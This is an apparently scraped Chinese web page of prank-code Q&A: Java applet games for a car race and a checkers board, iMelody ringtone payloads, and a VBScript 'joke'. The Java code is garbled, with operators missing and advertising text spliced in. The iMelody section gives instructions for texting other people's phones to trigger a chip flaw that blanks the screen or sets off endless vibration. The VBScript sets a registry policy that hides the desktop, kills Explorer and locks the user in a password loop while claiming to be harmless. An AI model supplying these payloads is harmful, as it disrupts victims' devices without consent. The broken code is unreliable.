重庆分公司,新征程启航

为企业提供网站建设、域名注册、服务器等服务

java整蛊源代码,JAVA简单的整人代码

跪求JAVA编写的小游戏源代码

import java.awt.*;

10年积累的做网站、成都网站建设经验,可以快速应对客户对网站的新想法和需求。提供各种问题对应的解决方案。让选择我们的客户得到更好、更有力的网络服务。我虽然不认识你,你也不认识我。但先网站设计后付款的网站建设流程,更有黄骅免费网站建设让你可以放心的选择与我们合作。

import java.applet.*;

import java.awt.event.*;

import java.awt.image.*;

import java.awt.geom.*;

import java.util.*;

class Car{

Image img;

int x, y;

Dimension dim;

Car(Image img){

this.img=img;

}

Car(Image img, int x, int y){

this.img=img; this.x=x; this.y=y;

}

Car(Image img, int x, int y, Dimension dim){

this(img, x, y);

this.dim=dim;

}

void draw(Graphics g, ImageObserver observer){

g.drawImage(img, x, y, observer);

}

int getX(){ return x;}

int getY(){ return y;}

void setX(int x){this.x=x;}

void setY(int y){this.y=y;}

void setLocation(int x, int y){

this.x=x; this.y=y;

}

int getWidth(){ return img.getWidth(null);}

int getHeight(){ return img.getHeight(null);}

Rectangle2D getRectangle(){

return new Rectangle2D.Float(x, y, getWidth(), getHeight());

}

void move(int dx, int dy){

x+=dx;

y+=dy;

if(dim!=null){

if(x0)x=0;

if(x+getWidth()dim.getWidth())

x=(int)dim.getWidth()-getWidth();

}

}

boolean intersects(Car car){

return getRectangle().intersects(car.getRectangle());

}

boolean intersects(int x, int y){

return getRectangle().intersects(x, y, getWidth(), getHeight());

}

}

public class CarRace extends Applet implements KeyListener, Runnable{

Image buff;

Canvas screen;

Graphics2D gs, gb;

Car redCar;

Car[] enemy=new Car[20];

Button bStart;

Thread game;

boolean loop=true;

Dimension dim=new Dimension(200, 300);

int road;

Random rnd=new Random();

public void init(){

prepareResource();

setBackground(Color.blue);

initScreen();

add(screen);

bStart=new Button("霸烙 矫累");

add(bStart);

bStart.addActionListener(new ActionListener(){

public void actionPerformed(ActionEvent ae){

screen.requestFocus();

if(!game.isAlive())

game.start();

}

});

}

void prepareResource(){

Image imgRed=getImage(getCodeBase(),"images/red_car.gif");

Image imgBlue=getImage(getCodeBase(),"images/blue_car.gif");

Image imgGreen=getImage(getCodeBase(),"images/green_car.gif");

MediaTracker mt=new MediaTracker(this);

try{

mt.addImage(imgRed, 0);

mt.addImage(imgBlue, 1);

mt.addImage(imgGreen, 2);

mt.waitForAll();

}catch(Exception e){}

buff=createImage((int)dim.getWidth(), (int)dim.getHeight());

gb=(Graphics2D)buff.getGraphics();

redCar=new Car(imgRed, 80,250, dim);

for(int i=0;i10;i++){

enemy[i]=new Car(imgBlue, 0, 0);

}

for(int i=10;ienemy.length;i++){

enemy[i]=new Car(imgGreen, 0, 0);

}

for(int i=0;ienemy.length;i++){

setEnemy(i);

}

game=new Thread(this);

}

public void stop(){

loop=false;

}

public void run(){

while(loop){

drawScreen();

try{ Thread.sleep(50);}catch(Exception e){}

}

}

void initScreen(){

screen=new Canvas(){

public void paint(Graphics g){

if(gs==null){

gs=(Graphics2D)screen.getGraphics();

}

drawScreen();

}

};

screen.setSize(dim);

screen.addKeyListener(this);

}

void setEnemy(int en){

int x, y;

next:while(true){

x=rnd.nextInt((int)dim.getWidth()-enemy[en].getWidth());

y=-rnd.nextInt(5000)-200;

for(int j=0;jenemy.length;j++){

if(j!=en enemy[j].intersects(x, y))continue next;

}

enemy[en].setLocation(x, y);

break;

}

}

void check(Car en){

if(redCar.intersects(en)){

if(redCar.getX()en.getX()){

en.move(-20, 0);

redCar.move(20, 0);

}

else{

en.move(20,0);

redCar.move(-20, 0);

}

}

}

synchronized void drawScreen(){

gb.clearRect(0, 0, (int)dim.getWidth(), (int)dim.getHeight());

gb.setPaint(new Color(100, 100, 100));

gb.fillRect(0, 0, (int)dim.getWidth(), (int)dim.getHeight());

drawRoad();

for(int i=0;ienemy.length;i++){

enemy[i].move(0, 15);

enemy[i].draw(gb, screen);

if(enemy[i].getY()dim.getHeight())

setEnemy(i);

check(enemy[i]);

}

redCar.draw(gb, screen);

gs.drawImage(buff, 0,0, screen);

}

void drawRoad(){

road+=80;

gb.setPaint(Color.yellow);

gb.fillRect((int)dim.getWidth()/2, road,10,150);

if(road=dim.getHeight())road=-150;

}

public void keyPressed(KeyEvent ke){

if(ke.getKeyCode()==KeyEvent.VK_LEFT){

redCar.move(-10,0);

}

else if(ke.getKeyCode()==KeyEvent.VK_RIGHT){

redCar.move(10,0);

}

}

public void keyReleased(KeyEvent ke){}

public void keyTyped(KeyEvent ke){}

}

这个是一个典型的Applet,文件名应该是CarRace.java,需要图片作为车子等等,本人也是别人给的,但是还要个.html文件来运行它,代码为:

Applet code="CarRace.class" width=250 height=350

/Applet

请楼主采纳

安卓手机整人代码java大全

BEGBEGIN:IMELODY

VERSION:1.2

FORMAT:CLASS1.0

COMPOSER:MIK(23)Fomat

BEAT:180

MELODY:backoffbackofffbackoffbackoffbackoffbackoffbackoffbackoffbackoff

("+melody+"@9999999999999999999999999)"

手机黑屏代码

BEGIN:IMELODY

BEAT:1200

MELODY:(ledoffbackoffvibeoffr5ledoffbackoffvibeoffr5@600)

END:IMELODY

手机狂震代码

BEGIN:IMELODY

VERSION:1.2

FORMAT:CLASS1.0

BEAT:100

MELODY:(ledoffledonbackoffbackonvibeon@0)

END:IMELODY

说明

1 “@”后面的数字越大,重复次数越多

2把上面代码复制,在计算机上保存为.txt文本文件,再改名为 .imy 文件

3 imy 放到手机里的Audio文件夹

4写短信(不是彩信) 写短信时, 插入铃声对象(自定义铃声对象,就是刚才放在audio 里的imy 文件) 并发送, 对方只要是存在这个芯片漏洞,那么则会产生上述所说效果.

求java小游戏源代码

表1. CheckerDrag.java

// CheckerDrag.javaimport java.awt.*;import java.awt.event.*;public class CheckerDrag extends java.applet.Applet{ // Dimension of checkerboard square. // 棋盘上每个小方格的尺寸 final static int SQUAREDIM = 40; // Dimension of checkerboard -- includes black outline. // 棋盘的尺寸 – 包括黑色的轮廓线 final static int BOARDDIM = 8 * SQUAREDIM + 2; // Dimension of checker -- 3/4 the dimension of a square. // 棋子的尺寸 – 方格尺寸的3/4 final static int CHECKERDIM = 3 * SQUAREDIM / 4; // Square colors are dark green or white. // 方格的颜色为深绿色或者白色 final static Color darkGreen = new Color (0, 128, 0); // Dragging flag -- set to true when user presses mouse button over checker // and cleared to false when user releases mouse button. // 拖动标记 --当用户在棋子上按下鼠标按键时设为true, // 释放鼠标按键时设为false boolean inDrag = false; // Left coordinate of checkerboard's upper-left corner. // 棋盘左上角的左方向坐标 int boardx; // Top coordinate of checkerboard's upper-left corner. //棋盘左上角的上方向坐标 int boardy; // Left coordinate of checker rectangle origin (upper-left corner). // 棋子矩形原点(左上角)的左方向坐标 int ox; // Top coordinate of checker rectangle origin (upper-left corner). // 棋子矩形原点(左上角)的上方向坐标 int oy; // Left displacement between mouse coordinates at time of press and checker // rectangle origin. // 在按键时的鼠标坐标与棋子矩形原点之间的左方向位移 int relx; // Top displacement between mouse coordinates at time of press and checker // rectangle origin. // 在按键时的鼠标坐标与棋子矩形原点之间的上方向位移 int rely; // Width of applet drawing area. // applet绘图区域的宽度 int width; // Height of applet drawing area. // applet绘图区域的高度 int height; // Image buffer. // 图像缓冲 Image imBuffer; // Graphics context associated with image buffer. // 图像缓冲相关联的图形背景 Graphics imG; public void init () { // Obtain the size of the applet's drawing area. // 获取applet绘图区域的尺寸 width = getSize ().width; height = getSize ().height; // Create image buffer. // 创建图像缓冲 imBuffer = createImage (width, height); // Retrieve graphics context associated with image buffer. // 取出图像缓冲相关联的图形背景 imG = imBuffer.getGraphics (); // Initialize checkerboard's origin, so that board is centered. // 初始化棋盘的原点,使棋盘在屏幕上居中 boardx = (width - BOARDDIM) / 2 + 1; boardy = (height - BOARDDIM) / 2 + 1; // Initialize checker's rectangle's starting origin so that checker is // centered in the square located in the top row and second column from // the left. // 初始化棋子矩形的起始原点,使得棋子在第一行左数第二列的方格里居中 ox = boardx + SQUAREDIM + (SQUAREDIM - CHECKERDIM) / 2 + 1; oy = boardy + (SQUAREDIM - CHECKERDIM) / 2 + 1; // Attach a mouse listener to the applet. That listener listens for // mouse-button press and mouse-button release events. // 向applet添加一个用来监听鼠标按键的按下和释放事件的鼠标监听器 addMouseListener (new MouseAdapter () { public void mousePressed (MouseEvent e) { // Obtain mouse coordinates at time of press. // 获取按键时的鼠标坐标 int x = e.getX (); int y = e.getY (); // If mouse is over draggable checker at time // of press (i.e., contains (x, y) returns // true), save distance between current mouse // coordinates and draggable checker origin // (which will always be positive) and set drag // flag to true (to indicate drag in progress). // 在按键时如果鼠标位于可拖动的棋子上方 // (也就是contains (x, y)返回true),则保存当前 // 鼠标坐标与棋子的原点之间的距离(始终为正值)并且 // 将拖动标志设为true(用来表明正处在拖动过程中) if (contains (x, y)) { relx = x - ox; rely = y - oy; inDrag = true; } } boolean contains (int x, int y) { // Calculate center of draggable checker. // 计算棋子的中心位置 int cox = ox + CHECKERDIM / 2; int coy = oy + CHECKERDIM / 2; // Return true if (x, y) locates with bounds // of draggable checker. CHECKERDIM / 2 is the // radius. // 如果(x, y)仍处于棋子范围内则返回true // CHECKERDIM / 2为半径 return (cox - x) * (cox - x) + (coy - y) * (coy - y) CHECKERDIM / 2 * CHECKERDIM / 2; } public void mouseReleased (MouseEvent e) { // When mouse is released, clear inDrag (to // indicate no drag in progress) if inDrag is // already set. // 当鼠标按键被释放时,如果inDrag已经为true, // 则将其置为false(用来表明不在拖动过程中) if (inDrag) inDrag = false; } }); // Attach a mouse motion listener to the applet. That listener listens // for mouse drag events. //向applet添加一个用来监听鼠标拖动事件的鼠标运动监听器 addMouseMotionListener (new MouseMotionAdapter () { public void mouseDragged (MouseEvent e) { if (inDrag) { // Calculate draggable checker's new // origin (the upper-left corner of // the checker rectangle). // 计算棋子新的原点(棋子矩形的左上角) int tmpox = e.getX () - relx; int tmpoy = e.getY () - rely; // If the checker is not being moved // (at least partly) off board, // assign the previously calculated // origin (tmpox, tmpoy) as the // permanent origin (ox, oy), and // redraw the display area (with the // draggable checker at the new // coordinates). // 如果棋子(至少是棋子的一部分)没有被 // 移出棋盘,则将之前计算的原点 // (tmpox, tmpoy)赋值给永久性的原点(ox, oy), // 并且刷新显示区域(此时的棋子已经位于新坐标上) if (tmpox boardx tmpoy boardy tmpox + CHECKERDIM boardx + BOARDDIM tmpoy + CHECKERDIM boardy + BOARDDIM) { ox = tmpox; oy = tmpoy; repaint (); } } } }); } public void paint (Graphics g) { // Paint the checkerboard over which the checker will be dragged. // 在棋子将要被拖动的位置上绘制棋盘 paintCheckerBoard (imG, boardx, boardy); // Paint the checker that will be dragged. // 绘制即将被拖动的棋子 paintChecker (imG, ox, oy); // Draw contents of image buffer. // 绘制图像缓冲的内容 g.drawImage (imBuffer, 0, 0, this); } void paintChecker (Graphics g, int x, int y) { // Set checker shadow color. // 设置棋子阴影的颜色 g.setColor (Color.black); // Paint checker shadow. // 绘制棋子的阴影 g.fillOval (x, y, CHECKERDIM, CHECKERDIM); // Set checker color. // 设置棋子颜色 g.setColor (Color.red); // Paint checker. // 绘制棋子 g.fillOval (x, y, CHECKERDIM - CHECKERDIM / 13, CHECKERDIM - CHECKERDIM / 13); } void paintCheckerBoard (Graphics g, int x, int y) { // Paint checkerboard outline. // 绘制棋盘轮廓线 g.setColor (Color.black); g.drawRect (x, y, 8 * SQUAREDIM + 1, 8 * SQUAREDIM + 1); // Paint checkerboard. // 绘制棋盘 for (int row = 0; row 8; row++) { g.setColor (((row 1) != 0) ? darkGreen : Color.white); for (int col = 0; col 8; col++) { g.fillRect (x + 1 + col * SQUAREDIM, y + 1 + row * SQUAREDIM, SQUAREDIM, SQUAREDIM); g.setColor ((g.getColor () == darkGreen) ? Color.white : darkGreen); } } } // The AWT invokes the update() method in response to the repaint() method // calls that are made as a checker is dragged. The default implementation // of this method, which is inherited from the Container class, clears the // applet's drawing area to the background color prior to calling paint(). // This clearing followed by drawing causes flicker. CheckerDrag overrides // update() to prevent the background from being cleared, which eliminates // the flicker. // AWT调用了update()方法来响应拖动棋子时所调用的repaint()方法。该方法从 // Container类继承的默认实现会在调用paint()之前,将applet的绘图区域清除 // 为背景色,这种绘制之后的清除就导致了闪烁。CheckerDrag重写了update()来 // 防止背景被清除,从而消除了闪烁。 public void update (Graphics g) { paint (g); }}

求一段电脑整蛊代码

set ws = wscript.createobject("wscript.shell")

if msgbox("纯属娱乐!just for fun!",4132,"绝对无毒无害!你准备好了吗?")=vbyes then

msgbox"OK!"

else

ws.popup"那也没办法!接招吧!",3

ws.popup"等会的解除密码在网盘里,自己下载,祝你愉快!",3

end if

ws.run" "

ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000001","REG_DWORD"

wscript.sleep 500

ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000

ws.run "explorer.exe",vbhide : wscript.sleep 6000

do

a=inputbox("请输入密码解除","注意,重启电脑是没有用的!")

if a="我真笨啊" then

msgbox"密码正确!",vbinformation

ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000000","REG_DWORD"

wscript.sleep 500

ws.run "taskkill /f /im explorer.exe",vbhide

wscript.sleep 2000

ws.run "explorer.exe",vbhide

msgbox"解除成功!"

exit do

else

msgbox"看你不下载,密码错误!请重试 !"

end if

loop

什么是java源代码 怎么查看

你说的java源代码是指编译成的class文件前的java文件。

当我们运行.java文件时,它会被系统编译成.class文件,例如Test.java编译之后就是Test.class,

源文件就是指Test.java文件,

一般部署项目时,有.class文件就可以发布运行了,但是如果想修改这个系统,.class是不能修改的,要有.java文件才能修改

也可以上网去下反编译软件,就是能把.class文件大部分还原成.java文件的工具,但不是100%还原,而且如果不是正版的,小心有毒啊,什么的。


网站名称:java整蛊源代码,JAVA简单的整人代码
文章地址:http://cqcxhl.com/article/hcpess.html

其他资讯

在线咨询
服务热线
服务热线:028-86922220
TOP